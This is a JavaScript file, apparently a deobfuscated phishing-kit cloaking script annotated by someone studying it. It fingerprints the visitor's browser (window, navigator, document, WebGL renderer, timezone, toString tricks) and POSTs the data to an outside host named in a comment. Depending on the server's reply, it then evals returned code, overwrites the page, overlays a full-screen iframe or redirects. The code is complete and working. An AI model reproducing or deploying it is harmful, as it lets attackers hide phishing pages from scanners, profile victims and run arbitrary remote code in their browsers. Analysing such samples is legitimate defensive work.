weird-fingerprinting-script.js

window._adata = {
	action: 'js',
	target: 'console.log("BOT!!!");',
	js: false,
	ok: false,
	cid: '4cb2bdd5e1b96a87d439f65ad57e9039'
}

;(function () {
	var errors = []
	var collectedData = {}

	// <script id=​"aHR0cHM6Ly90cmFuc2ZlcmRvY3VtZW50cy5vcmc=" src=​"https:​/​/​loteri-manager-documents.co.za/​ajax.php?__sid=5e782562-14a3-49f0-bb25-f62a8110d327&" class=​"iframe">​</script>​
	var scriptElement = document.getElementById(btoa(window.location.origin))

	function handleState(state) {
		if (state.ok)
			switch (state.action) {
				case 'local':
				case 'fetch':
					var req = new XMLHttpRequest()
					req.open('GET', state.target, false)
					req.onreadystatechange = function () {
						if (4 === this.readyState && 200 === this.status) {
							document.open()
							document.write(this.responseText)
							document.close()
						}
					}
					req.send()
					break

				case 'proxy':
				case '301':
				case '302':
				case '303':
				case 'refresh':
				case 'meta':
				case 'xar':
				case 'xsf':
					window.location.replace(state.target)
					break

				case 'iframe':
					var iframe = document.createElement('iframe')
					iframe.style.cssText =
						'width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;'
					iframe.src = state.target
					state.target = iframe.outerHTML

				case 'php':
					document.open()
					document.write(state.target)
					document.close()
					break

				case 'js':
					eval(state.target)
			}
	}

	var initialState = window._adata
	if (!initialState.js) return handleState(initialState)

	try {
		function serializeObj(object) {
			if (typeof object === 'object' && object !== null) {
				var result = {}

				function addProperty(key) {
					try {
						var value = object[key]
						switch (typeof value) {
							case 'object':
								if (value === null) break
							case 'function':
								value = value.toString()
						}
						result[key] = value
					} catch (error) {
						errors.push(error.message)
					}
				}

				for (var key in object) addProperty(key)

				try {
					var ownKeys = Object.getOwnPropertyNames(object)
					for (var i = 0; i < ownKeys.length; i++) addProperty(ownKeys[i])
					result['!!'] = ownKeys
				} catch (error) {
					errors.push(error.message)
				}

				return result
			}
		}

		collectedData.screen = serializeObj(window.screen)
		collectedData.window = serializeObj(window)
		collectedData.navigator = serializeObj(window.navigator)
		collectedData.location = serializeObj(window.location)
		collectedData.console = serializeObj(window.console)
		collectedData.documentElement = (function (documentElement) {
			// Get all attributes of the body element
			try {
				var attributes = {}
				documentElement = documentElement.attributes
				for (var attribute in documentElement)
					(attribute = documentElement[attribute]),
						(attributes[attribute.nodeName] = attribute.nodeValue)
				return attributes
			} catch (error) {
				errors.push(error.message)
			}
		})(document.documentElement)
		collectedData.document = serializeObj(document)

		try {
			collectedData.timezoneOffset = new Date().getTimezoneOffset()
		} catch (error) {
			errors.push(error.message)
		}

		try {
			// A string like "function () {}" or whatever
			collectedData.closure = function () {}['toString']()
		} catch (error) {
			errors.push(error.message)
		}

		try {
			collectedData.touchEvent = document.createEvent('TouchEvent').toString()
		} catch (error) {
			errors.push(error.message)
		}

		try {
			var fn = function () {}
			var toStringCount = 0
			fn.toString = function () {
				toStringCount++
				return ''
			}
			console.log(fn)
			collectedData.tostring = toStringCount
		} catch (error) {
			errors.push(error.message)
		}

		try {
			var gl = document.createElement('canvas').getContext('webgl')
			var infoExt = gl.getExtension('WEBGL_debug_renderer_info')
			collectedData.webgl = {
				vendor: gl.getParameter(infoExt.UNMASKED_VENDOR_WEBGL),
				renderer: gl.getParameter(infoExt.UNMASKED_RENDERER_WEBGL)
			}
		} catch (error) {
			errors.push(error.message)
		}

		// Looks like this detects if canPlayType uses Array.includes
		function protoHelper(type, key, fn) {
			var originalPrototype = type.prototype[key]
			type.prototype[key] = function () {
				collectedData.proto = true
			}
			fn()
			type.prototype[key] = originalPrototype
		}
		try {
			protoHelper(Array, 'includes', function () {
				return document.createElement('video').canPlayType('video/mp4')
			})
		} catch (error) {}
	} catch (error) {
		errors.push(error.message)
	}

	;(function () {
		collectedData.errors = errors
		collectedData.cid = initialState.cid

		var body = new FormData()
		body.append('data', JSON.stringify(collectedData))

		var req = new XMLHttpRequest()
		req.open('POST', scriptElement.getAttribute('src'), false)
		req.onreadystatechange = function () {
			if (4 === this.readyState && 200 === this.status) {
				handleState(JSON.parse(this.responseText))
			}
		}
		req.send(body)
	})()
})()